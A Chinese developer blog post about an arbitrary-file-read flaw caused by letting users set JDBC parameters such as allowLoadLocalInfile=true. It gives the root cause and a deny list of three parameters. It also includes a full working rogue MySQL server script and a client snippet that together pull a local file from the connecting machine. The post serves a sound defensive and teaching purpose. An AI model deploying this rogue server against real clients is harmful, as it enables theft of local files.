MySQL踩坑日记 - allowLoadLocalInfile

-
-
2025-03-29

前言

在一个夜黑风高的夜晚,我突然收到了公司安全部门的通知:平台中的某个功能模块在近期的攻防演练中被发现存在漏洞,并已被成功利用。经过初步分析,问题出现在元数据管理模块。该模块允许用户通过指定 JDBC URL 连接到对应的服务端,从而获取数据库库/表等元数据信息。

 

问题定位

根据安全部门的通报内容,攻击者利用了该功能读取了服务器上的本地文件。这种漏洞的原理在网上已有大量相关资料,这里不再赘述。感兴趣的读者可以自行搜索相关内容。

 

根因分析

 

功能背景

该功能的设计初衷是支持用户自定义 JDBC 参数,以便灵活连接到不同的数据库服务端。然而,这种灵活性也为潜在的安全隐患埋下了伏笔。

 

漏洞成因

攻击者通过在 JDBC 参数中设置 allowLoadLocalInfile=true,成功触发了 MySQL 的本地文件加载功能,进而读取了客户端的本机文件。

在项目中,我们使用的 MySQL 驱动版本为 mysql-connector-java 8.0.24。查看源码后发现,allowLoadLocalInfile 参数的默认值为 false。但是,由于未对用户输入的 JDBC URL 进行严格校验,导致攻击者可以通过构造恶意参数绕过默认限制。

 

相关代码参考:

com.mysql.cj.protocol.a.NativeProtocol#getFileStream

 

防护措施

为了避免类似问题再次发生,我们需要检查用户提交的 JDBC URL,拒绝包含以下参数的请求:

  • allowUrlInLocalInfile
  • allowLoadLocalInfile
  • allowLoadLocalInfileInPath

同时需要注意,攻击者可能通过 URL 编码等方式绕过检测,因此需要对输入进行严格的解码和校验。

 

漏洞复现

为了更好地理解漏洞的利用过程,以下提供一个简单的复现案例。

服务端

使用 Python 编写一个模拟的恶意 MySQL 服务器(POC),代码如下:

rogue_mysql_server.py

#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
    'C:\Windows\System32\drivers\etc\hosts',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
    import os, warnings
    if os.name != 'posix':
        warnings.warn('Cant create daemon on non-posix system')
        return

    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    os.umask(0o022)
    null=os.open('/dev/null', os.O_RDWR)
    for i in xrange(3):
        try:
            os.dup2(null, i)
        except OSError as e:
            if e.errno != 9: raise
    os.close(null)


class LastPacket(Exception):
    pass


class OutOfOrder(Exception):
    pass


class mysql_packet(object):
    packet_header = struct.Struct('<Hbb')
    packet_header_long = struct.Struct('<Hbbb')
    def __init__(self, packet_type, payload):
        if isinstance(packet_type, mysql_packet):
            self.packet_num = packet_type.packet_num + 1
        else:
            self.packet_num = packet_type
        self.payload = payload

    def __str__(self):
        payload_len = len(self.payload)
        if payload_len < 65536:
            header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
        else:
            header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

        result = "{0}{1}".format(
            header,
            self.payload
        )
        return result

    def __repr__(self):
        return repr(str(self))

    @staticmethod
    def parse(raw_data):
        packet_num = ord(raw_data[0])
        payload = raw_data[1:]

        return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

    def __init__(self, addr):
        asynchat.async_chat.__init__(self, sock=addr[0])
        self.addr = addr[1]
        self.ibuffer = []
        self.set_terminator(3)
        self.state = 'LEN'
        self.sub_state = 'Auth'
        self.logined = False
        self.push(
            mysql_packet(
                0,
                "".join((
                    '\x0a',  # Protocol
                    '5.6.28-0ubuntu0.14.04.1' + '\0',
                    '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
                ))            )
        )

        self.order = 1
        self.states = ['LOGIN', 'CAPS', 'ANY']

    def push(self, data):
        log.debug('Pushed: %r', data)
        data = str(data)
        asynchat.async_chat.push(self, data)

    def collect_incoming_data(self, data):
        log.debug('Data recved: %r', data)
        self.ibuffer.append(data)

    def found_terminator(self):
        data = "".join(self.ibuffer)
        self.ibuffer = []

        if self.state == 'LEN':
            len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
            if len_bytes < 65536:
                self.set_terminator(len_bytes)
                self.state = 'Data'
            else:
                self.state = 'MoreLength'
        elif self.state == 'MoreLength':
            if data[0] != '\0':
                self.push(None)
                self.close_when_done()
            else:
                self.state = 'Data'
        elif self.state == 'Data':
            packet = mysql_packet.parse(data)
            try:
                if self.order != packet.packet_num:
                    raise OutOfOrder()
                else:
                    # Fix ?
                    self.order = packet.packet_num + 2
                if packet.packet_num == 0:
                    if packet.payload[0] == '\x03':
                        log.info('Query')

                        filename = random.choice(filelist)
                        PACKET = mysql_packet(
                            packet,
                            '\xFB{0}'.format(filename)
                        )
                        self.set_terminator(3)
                        self.state = 'LEN'
                        self.sub_state = 'File'
                        self.push(PACKET)
                    elif packet.payload[0] == '\x1b':
                        log.info('SelectDB')
                        self.push(mysql_packet(
                            packet,
                            '\xfe\x00\x00\x02\x00'
                        ))
                        raise LastPacket()
                    elif packet.payload[0] in '\x02':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    elif packet.payload == '\x00\x01':
                        self.push(None)
                        self.close_when_done()
                    else:
                        raise ValueError()
                else:
                    if self.sub_state == 'File':
                        log.info('-- result')
                        log.info('Result: %r', data)

                        if len(data) == 1:
                            self.push(
                                mysql_packet(packet, '\0\0\0\x02\0\0\0')
                            )
                            raise LastPacket()
                        else:
                            self.set_terminator(3)
                            self.state = 'LEN'
                            self.order = packet.packet_num + 1

                    elif self.sub_state == 'Auth':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    else:
                        log.info('-- else')
                        raise ValueError('Unknown packet')
            except LastPacket:
                log.info('Last packet')
                self.state = 'LEN'
                self.sub_state = None
                self.order = 0
                self.set_terminator(3)
            except OutOfOrder:
                log.warning('Out of order')
                self.push(None)
                self.close_when_done()
        else:
            log.error('Unknown state')
            self.push('None')
            self.close_when_done()


class mysql_listener(asyncore.dispatcher):
    def __init__(self, sock=None):
        asyncore.dispatcher.__init__(self, sock)

        if not sock:
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
            self.set_reuse_addr()
            try:
                self.bind(('', PORT))
            except socket.error:
                exit()

            self.listen(5)

    def handle_accept(self):
        pair = self.accept()

        if pair is not None:
            log.info('Conn from: %r', pair[1])
            tmp = http_request_handler(pair)


z = mysql_listener()
# daemonize()
asyncore.loop()

执行命令

python  rogue_mysql_server.py

运行此脚本后,服务端将监听 3306 端口,并尝试读取客户端的本地文件。读取的内容会记录到同目录下的 mysql.log 文件中。

 

客户端

客户端代码示例如下:

    public static void main(String[] args) {
        String url = "jdbc:mysql://xxx:3306?allowLoadLocalInfile=true";
        String user = "xxxx";
        String password = "xxx";

        try (Connection conn = DriverManager.getConnection(url, user, password)){

        } catch (SQLException e) {
            e.printStackTrace();
        }
    }

运行上述代码后,服务端的 mysql.log 文件中将输出客户端的 C:\Windows\System32\drivers\etc\hosts 文件内容。

 

总结

通过对该漏洞的分析与复现,我们可以看到,即使是看似无害的功能设计,也可能因为缺乏安全校验而带来严重的安全隐患。在实际开发中,务必对用户输入进行严格的验证,避免不必要的功能暴露,从而降低安全风险。

 

参考资料

MySQL JDBC Connector的allowUrlInLocalInfile选项利用


目录